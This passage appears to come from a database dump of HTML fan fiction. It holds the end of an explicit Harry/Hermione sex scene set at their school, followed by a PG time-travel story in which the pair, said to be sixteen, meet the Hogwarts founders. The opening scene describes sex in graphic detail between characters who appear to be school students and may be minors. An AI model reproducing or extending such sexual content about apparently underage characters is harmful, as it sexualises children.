her.&nbsp;\nI gasped as her tongue snaked out and we came together frantically.&nbsp; We fought to get closer; I ate at her mouth\nlike a man starved.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; When she pulled away, I was again\ndrawn to her face, concentrating on her red, swollen lips.&nbsp; Her eyes were the color of coffee; it felt\nstrangely powerful to know that I was the one to do that to her.&nbsp; An answering pull from my lower body\nreminded me of where this scenario was likely to head, and I didn&#8217;t want to\npush Hermione into doing anything she wasn&#8217;t absolutely ready for.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione lifted my sweater over my\nhead and freed the buttons of the school shirt I wore.&nbsp; I took a deep breath.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione,&#8221; I said, my voice sounding\ngravelly to my ears.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What?&#8221; she said in a throaty voice\nthat shot directly to my prick.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I\nthink we should stop.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I want this.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; So did I.&nbsp; I didn&#8217;t want to worry about tomorrow or about any of the other\nproblems that were sure to loom large in the light of day.&nbsp; Right at that moment I wanted to show\nHermione how much I cared about her, and if this was the way that worked best,\nI was ready.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I untied her robe, revealing the\nsheer nightgown she wore.&nbsp; Her breasts\nwere still peaked and I ran my thumbs over the tips, licking her neck and\nshivering with every sigh and pleasure-filled noise she made.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She wound her arms around my neck\nand pulled me over her.&nbsp; Even after her\nreassurances that she did want to go through with this, I still felt her\nfear.&nbsp; I was as nervous as she was and I\ndidn&#8217;t want to hurt her or disappoint her.&nbsp;\nI kissed her again and again, until she was hot and wiggling restlessly\nunder me.&nbsp; She worked my belt and\ntogether we managed to free my prick from its constraints.&nbsp; The last barrier was the small cotton\npanties she wore. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;This is it, Hermione,&#8221; I said.&nbsp; &#8220;If you want me to stop at any time, tell me\nand I will.&#8221;&nbsp; I waited for her response\nand when I had it, I slid my finger into her slit, praying that I would be\ndoing things right.&nbsp; Her reaction let me\nknow that I had hit her clit, and I played with it, absorbing her moans into my\nmouth.&nbsp; Moving downward, my finger\nslicked with wetness as I fingered her.&nbsp;\nShe was stroking me and we coordinated our movements back and forth, in\nand out.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She shook as I moved over her.&nbsp; As much as I didn&#8217;t want to hurt her, my\nbody was now throbbing for release and I wanted to bury my prick inside her wet\nwarmth.&nbsp; I pushed forward slowly,\nfeeling her body gradually giving way to mine.&nbsp;\nThe sensation was incredible &#8211; a silky, wet, hot fist clutching me &#8211; and\nI had to resist the urge to rut into her mindlessly.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Moving very slowly, I felt some of\nher tension fading away as she became more accustomed to me.&nbsp; She shifted under me and I fought against\nthe waves of pleasure that were engulfing me.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; At her urging, I moved harder\nagainst her, thrusting deep, trying to get as far inside as I could.&nbsp; I sped up my pace when Hermione began to\ngrow restless, twisting her hips and moving to drive me further into her.&nbsp; The tingles running down my spine alerted me\nto my impending orgasm and I hoped to be able to hold out long enough to see\nHermione come.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Her body tightened spasmodically\nunder mine and she threw her head back, moaning my name.&nbsp; The sound was so erotic that I couldn&#8217;t wait\nto watch and I groaned with the rush of my own release.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I brought my head up to look at\nher.&nbsp; She wore a satisfied smile and\nenfolded me in her arms as I rested atop her, my hands tangled in her\nhair.&nbsp; I kissed her neck gently, then\nher lips.&nbsp; We explored each other&#8217;s\nmouths experimentally, trying different things, laughing softly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; We disengaged ourselves and\ndressed.&nbsp; The last chiming of the clock\nhad signaled 4 a.m., and I didn&#8217;t want the night to be over.&nbsp; I wasn&#8217;t sure what was going to happen; we&#8217;d\nblurred the lines of friendship, and although I felt better than I had in\nmonths, I wasn&#8217;t sure I hadn&#8217;t simply transferred my angst to Hermione.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She looked to be okay, her cheeks\nflushed pink in the firelight.&nbsp; Her\nsmile and words held no inkling that what we&#8217;d done was anything but natural,\nwhich eased my mind.&nbsp; I wanted to broach\nthe subject, but was afraid of breaking the mood permeating the night.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I stood up with a sigh.&nbsp; We had to get to bed before someone awoke\nearly and caught us here together, as it was obvious what had happened.&nbsp; I&#8217;d left my shirt open and my belt\nunbuckled; Hermione&#8217;s robe was open and her lips bore the dusky impression of\nhaving been well-kissed.</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;d better\nget to bed.&nbsp; It&#8217;ll be sunup in less than\nan hour.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She pulled her robe together and\nstretched.&nbsp; We walked toward the stairs\nthat would lead us to our rooms.&nbsp; I\nkissed her gently, aware that both of our mouths were swollen.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione?&#8221; I wanted to tell her how\nmuch better I felt, but was afraid I&#8217;d sound daft.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks for listening.&nbsp; For everything.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;d do anything for you, Harry,&#8221;\nshe said seriously.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know.&#8221; I replied, and knew it was\ntrue, for better or worse.&nbsp; &#8220;You&#8217;d do\nanything.&nbsp; I&#8217;d do anything for you.&#8221;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know.&#8221;</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; At that\nwe parted ways.&nbsp; As I climbed the\nstairs, I felt threads of exhaustion wind around me.&nbsp; I fell into bed, fully clothed and was asleep before I could\nremind myself not to dream.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n\n\n\n\n\n'),
	(39, 1, '\n\n\n\n\n\n\n\n<p class="MsoNormal"><b>Title:</b> Star-Crossed Hearts(1/1)</p>\n\n<p class="MsoNormal"><b>Author name:</b> Kaori Lily Marie Otome XIV</p>\n\n<p class="MsoNormal"><b>Author e-mail:</b> kaori_girl@mymelody.com</p>\n\n<p class="MsoNormal"><b>Category:</b> Astronomy Tower</p>\n\n<p class="MsoNormal"><b>Keywords</b>: Godric, Rowena, H/Hr, Time Travel, Founders</p>\n\n<p class="MsoNormal"><b>Rating:</b> PG</p>\n\n<p class="MsoNormal"><b>Spoilers:</b> It&#8217;s good to be familiar with all the books\nbut there aren&#8217;t really any spoilers</p>\n\n<p class="MsoNormal"><b>Summary:</b> Harry and Hermione are distracted with one\nadventure in one single night&#8230; They somehow find themselves in the past&#8230; but\nwill they ever get back?</p>\n\n<p class="MsoNormal"><b>Disclaimer:</b> This story is based on characters and\nsituations created and owned by JK Rowling, various publishers including but\nnot limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and\nWarner Bros., Inc. No money is being made and no copyright or trademark\ninfringement is intended.</p>\n\n<p class="MsoNormal"><b>Author&#8217;s Notes:</b> Um.. well, this was first posted at\nthe HMS Pumpkin Pie at FAP. I am so grateful for Jasmine for beta-reading\nthis.. I know.. so many mistakes.. Well&#8230; and if you&#8217;re interested in my Rowena\nhere&#8230; please look forward to a coming up fic named: Glass Rose. It&#8217;s a little\nficlet of mine&#8230; I hope you H/Hr fans enjoy! And you G/R fans too!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Star-Crossed Hearts</p>\n\n<p class="MsoNormal">by Kaori Lily Marie Otome XIV</p>\n\n<p class="MsoNormal">---</p>\n\n<p class="MsoNormal">Sandry\'s eyes filled and spilled over. &quot;Thank\nyou,&quot; she said. &quot;I couldn\'t ask for better friends.&quot;</p>\n\n<p class="MsoNormal">~Circle of Magic: Sandry\'s Book by Tamora Pierce</p>\n\n<p class="MsoNormal">---</p>\n\n<p class="MsoNormal">*Harry\'s POV*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I don\'t know how it happened. It was just a normal day...\nwell, night. Hermione and I were going to the Astronomy Tower to do the things\nstudents are notorious for doing there. Much to our surprise, we found an old\ngrandfather clock in the normally empty room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;That wasn\'t there before,&quot; Hermione noted. She\ncrossed the room to inspect it, and I followed after her. The first thing we\nnoticed was that the clock was old. It was made of rosewood, studded with brass\nand silver trinkets. And that&#8217;s when I noticed an oddity &#8211; despite the aged\nappearance of the rosewood, the metal inside looked brand new. Hermione frowned\nand said the same thing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">We chose to ignore the clock in favour of returning to more\n&#8230;uh, private activities, when Hermione yelped. She reached her wand out to the\nclock and her hand went through it. Wide eyed, we stared at each other.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Um, we should leave it alone&#8230;&quot; Hermione said, but\nher hand was stuck. &quot;Ow!&quot;</p>\n\n<p class="MsoNormal">Suddenly we could hear approaching footsteps. Panicking, I\nstumbled forward and accidentally bumped into Hermione. She fell, taking me\nwith her, and we found ourselves disappearing into the clock.</p>\n\n<p class="MsoNormal">---</p>\n\n<p class="MsoNormal">*Hermione\'s POV*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It wasn&#8217;t that we&#8217;d disappeared inside the clock, as much as\npassing through it, like a doorway. On the other side, we found ourselves in an\nempty library. Daylight filtered in through large windows, and we could hear\nbirds chirping outside in the summery weather. I gasped, &quot;Where in the\nworld are we?!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;That\'s a good question,&quot; a woman\'s voice said,\n&quot;But a better question would be: &#8216;who in the world are you?&#8217;&quot;</p>\n\n<p class="MsoNormal">---</p>\n\n<p class="MsoNormal">&quot;We\'re safe,&quot; Ragweed replied. &quot;For a\nwhile.&quot;</p>\n\n<p class="MsoNormal">~Ragweed by Avi</p>\n\n<p class="MsoNormal">---</p>\n\n<p class="MsoNormal">*Hermione\'s POV*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">At the sound of the woman&#8217;s voice, we whirled around and\nfound ourselves facing a woman we\'d never seen before. She had a stern look on\nher face but she was absolutely beautiful! She wore a dark blue tunic and her\nskin was fair. She had long, dark brown hair and her eyes were a piercing blue,\nthat seemed to probe our souls... who was she though?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry voiced both our thoughts. &quot;Who are you?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The woman raised a fine eyebrow, &quot;What? Folk from the\nfuture don\'t recognise Lady Ravenclaw when they see her?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I gulped The Rowena Ravenclaw? We were in the past? But how\ncould that be?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;How do you know we were from the future?&quot; I asked\nnervously.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She closed her eyes and replied, &quot;Hmm &#8230; that\'s Salazar\nand Godric\'s fault, I\'m afraid. Drat those two... trying to get a student from\na thousand years in the future so they could see if our school lasts... it\ndoes, doesn\'t it?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I nodded slowly. I just couldn\'t believe this was happening.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">---</p>\n\n<p class="MsoNormal">*Harry\'s POV*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I could see Hermione\'s worried expression. Why did this have\nto happen today? Why not tomorrow? Next year? Never!? It was the second time\nHermione and I had gone to the Astronomy Tower too. Awful coincidences.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The woman in front of us folded her arms and ordered,\n&quot;Come with me then. I\'ll have to break the news to Helga and the\nboys.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I asked, &quot;Aren\'t they over eighteen?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The woman smirked. &quot;Of course, but they hardly act like\nit.&quot; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione giggled.&#8221; I know the feeling!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I frowned at her. &#8220;Ron and I aren\'t that bad!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">We followed Lady Ravenclaw through the winding halls and\ndreary passages. It wasn\'t that much different from our Hogwarts. Odd, how long\ncould anyone keep it exactly the same? Lady Ravenclaw stopped outside two\nfamiliar gargoyle statues. The Headmaster\'s office...</p>\n\n<p class="MsoNormal">---</p>\n\n<p class="MsoNormal">&quot;We\'ll see each other again,&quot; Harry smiled,\ndeterminedly.</p>\n\n<p class="MsoNormal">Hermione turned away, &quot;Oh I don\'t-&quot;</p>\n\n<p class="MsoNormal">&quot;I wasn\'t asking. I was stating.&quot;</p>\n\n<p class="MsoNormal">~Oblivious to the Facts by Kaori Lily Marie Otome XIV</p>\n\n<p class="MsoNormal">---</p>\n\n<p class="MsoNormal">*Harry\'s POV*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I looked up at Lady Ravenclaw&#8217;s face. Her expression was\nsad, and I found myself wondering what could be wrong. &quot;Dragon\nheartstrings,&quot; She said and the gargoyles sprang to life, clearing a path\nto the office beyond. Hermione was looking curiously at our guide.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*Hermione\'s POV*</p>\n\n<p class="MsoNormal">Lady Ravenclaw led us past the gargoyles to an elegant room.\nIt wasn\'t filled with portraits of old headmasters; on the contrary, it looked\nquite new. The other three founders were within the room; looking bewildered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">There was the sweet Hufflepuff -- Lady Helga Hufflepuff. She\nwas short, with a pretty face, golden brown hair, and warm black eyes that\nreminded me of Hagrid. Beside her stood the notorious Salazar Slytherin. He\nlooked older than the rest. His dark black hair was starting to grey and his\neyes were remarkably green, though they were nothing like Harry\'s warm, caring\neyes. </p>\n\n<p class="MsoNormal">&nbsp;Then there was\nGodric.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He looked a lot like Harry, to tell the truth, though much\nburlier. He had beautiful eyes, a liquid golden amber with Harry&#8217;s kindness in\nthem. He had Harry&#8217;s messy hair. I found myself wondering if it could be true\nthat Harry was Gyffindor\'s heir. The resemblance between the two was\nundeniable. I felt dazed &#8211; I couldn&#8217;t believe I was actually meeting the\nfounders of Hogwarts! The Hogwarts Four, no less. It was all too... odd.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*Harry\'s POV*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I could feel my face contort as I spotted Slytherin. I would\nhave glowered if I didn\'t know better. From this man would come the heir who\nwould terrorize my world and murder my family. I hated this man and I didn\'t\neven know him. And yet, here I was, face to face with him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Well,&quot; Ravenclaw said at last. &#8220;It seems your\nlittle plot to retrieve students from the future has worked. What year are you\nfrom?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;1996, ma\'am,&quot; Hermione answered nervously.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Slytherin jumped to his feet, &quot;Ha, Godric! I told you,\nyet you had your doubts.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Gyffindor just folded his arms, &quot;We still don\'t know\nhow to get them back.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione gasped, &quot;Oh no! We have a potions test\ntomorrow!&quot; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hufflepuff looked at her. &quot;But... it\'s summer.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&quot;It was January\n1996 when we left, Prof--ma\'am,&#8221; I stuttered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Godric rolled his eyes, &quot;Salazar, you damn fool. You\ndidn\'t even set the time right.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Slytherin glared at him, &quot;That was you. Not me.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ravenclaw rolled her eyes. &quot;Oh do shut up.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione was panicking, &quot;But how will we get\nback?&quot; she kept asking herself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hermione,&quot; I said, putting a reassuring hand on\nher shoulder. I hated to see her like this, &quot;We\'ll get back.\nSomehow.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">---</p>\n\n<p class="MsoNormal">*Hermione\'s POV*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hermione,&quot; he said kindly. I loved Harry&#8217;s\nkindness. &quot;We\'ll get back. Somehow.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I nodded my head slowly. I wanted to go home. I didn\'t want\nto be stuck in the past, with all its repercussions. What if something we said\nor did changed the future? &quot;How can you so wilfully meddle with the\npresent &#8230; with the future?&#8221; I demanded.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Slytherin looked at me sternly, &quot;It\'s not going to make\na difference you know.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Helga gave Slytherin a strict look. &quot;The girl\'s\nworried, can\'t you see? Have a heart Salazar.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;She\'s born from non-magical folk. I can tell.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I glared. That was just so like a Slytherin. Or should I\nsay, just like the&nbsp; Salazar Slytherin?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Taking a seat, Ravenclaw fixed Harry and I with a stern\nlook. &quot;Whose house are you each in?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Gyffindor,&quot; Harry said with much dignity.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Godric Gyffindor smiled. We were going to be here for a\nwhile. Might as well make the best of it.</p>\n\n<p class="MsoNormal">---</p>\n\n<p class="MsoNormal">Adriane ran after the boy. The time had come for secrets to\nbe revealed.</p>\n\n<p class="MsoNormal">~Avalon: the Cry of the Wolf by Rachel Roberts.</p>\n\n<p class="MsoNormal">---</p>\n\n<p class="MsoNormal">Rowena led Harry and Hermione to a portrait. It was of an\neven burlier man than Godric. He smiled politely at Rowena and bowed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Now Milady, who are these children? I believe school\ndoesn&#8217;t begin until September...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Quite right, Godfrey,&quot; Rowena said patronizingly.\n&quot;These children are here to stay for a bit.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry was becoming irritated with being referred to as a\nchild. &quot;We\'re sixteen, we\'re not children.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione nodded meekly, &quot;Indeed. We\'re teenagers.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Teen &#8230; agers?&quot; Godfrey said slowly..</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Never mind Godfrey,&quot; Rowena ignored, &quot;These\ntwo--&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry and Hermione,&quot; Harry interrupted. Rowena\nraised an eyebrow then rolled her eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Harry and Hermione need to stay in the Gyffindor\nDormitory.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Godfrey shrugged and his portrait swung open.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;He\'s Godric\'s brother,&quot; Rowena said. Hermione\nnoticed a slight blush covering Rowena&#8217;s cheeks. &quot;He died when Godric\nwas... well, what do you call them? A teenager?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione giggled, &quot;That\'s right. But sad though.... how\ndid he die? Godfrey I mean?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Rowena sighed heavily, &quot;Godric doesn\'t like to hear of\nit but Godfrey was his role model... poor dear. Godfrey died protecting Godric\nwhen they were younger... Non-magical folk, you understand, are not fond of\nus... generally I\'m against knowing the future, but&#8230; does it get better?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry nodded, &quot;Somewhat... we still hide from them, and\nthere\'s those who still hate us -- like my aunt and uncle,&quot; Rowena gave\nhim a questioning look, &quot;My mother was a Muggle-born. That\'s what we call\nnon-magic people, Muggles. Anyway, sometimes Muggles marry wizards or witches&#8230;\nsome actually understand.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Rowena smiled, &quot;That\'s so good to hear... my own\nmother, my father\'s wife that is, hated me... my real mother was a\nwitch...well, it\'s too long to explain. Now, I am afraid we still need to add\nextra dormitories.&quot; Harry realized that they weren\'t any stairs leading up\nto separate dormitories and there was just a bed and a lot of chairs.\n&quot;Unless you two want to share a bed together, one of you can sleep on the\nfloor?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione blushed, &quot;Oh no! Of course not! We\'ll\njust--I\'ll just take the floor...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;No, I will,&quot; Harry said. &quot;Ladies should\nalways get the bed.&quot; Hermione would have kissed him if Rowena had not been\npresent.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Rowena grinned, &quot;Such a gentleman. Well, I&#8217;m glad that\nyou didn\'t arrive when school was in session.&quot; She sighed miserably,\n&quot;Spacing problems..&quot; she gave a weak smiled and Hermione noted that\nshe was clutching something on her chest. A necklace perhaps?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'ll see you chil--teenagers tomorrow then?&quot; she\nhad a much stronger grin this time.</p>\n\n<p class="MsoNormal">The duo nodded and went to their respective sleeping\nquarters for the night. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*Hermione\'s POV*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry and I hadn\'t said anything to each other. I was simply\nglad he was there with me.. I couldn\'t stand being there without him, even if\nthe Hogwarts Four, minus Salazar, seemed nice. We went down to breakfast\nholding hands. It felt almost like we were just going for a stroll around\nHogsmeade then... just Harry and I. No one else mattered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*Harry\'s POV*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I admit I was upset when I found out we wouldn\'t be able to\ngo home... but I was joyous that Hermione was there. Breakfast was going to be\nfun, eating with&nbsp; a man that we\nsuspected was an ancestor of mine. I was becoming suspicious about something\nthough. Rowena blushed whenever she mentioned Godric. Hermione had been quick\nto point this out to me, suggesting that perhaps something was going on between\nthe pair.</p>\n\n<p class="MsoNormal">---</p>\n\n<p class="MsoNormal">My grandmother gave me a long and severe look. &quot;Nobody\nhas ever seen the Devil,&quot; she said, &quot;but we know he exists.&quot;</p>\n\n<p class="MsoNormal">~ The Witches by Roald Dahl</p>\n\n<p class="MsoNormal">---</p>\n\n<p class="MsoNormal">*Hermione\'s POV*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As we wandered the familiar passages, we felt ourselves\nfeeling homesick. Reminiscing was becoming painful. It had only been one day.\nDespite everything, I found myself worrying about my grades. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hermione, are you okay?&quot; Harry asked me, looking concerned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I nodded, &quot;Just worried about my grades.&quot; He\nsighed, relieved that that was all. He was so nice... that\'s what I love about\nhim.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*Harry\'s POV*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I was glad Hermione was not so worried about being stuck\nthere... I didn\'t want her to worrying overly. She does that too much already.\nReaching the Great 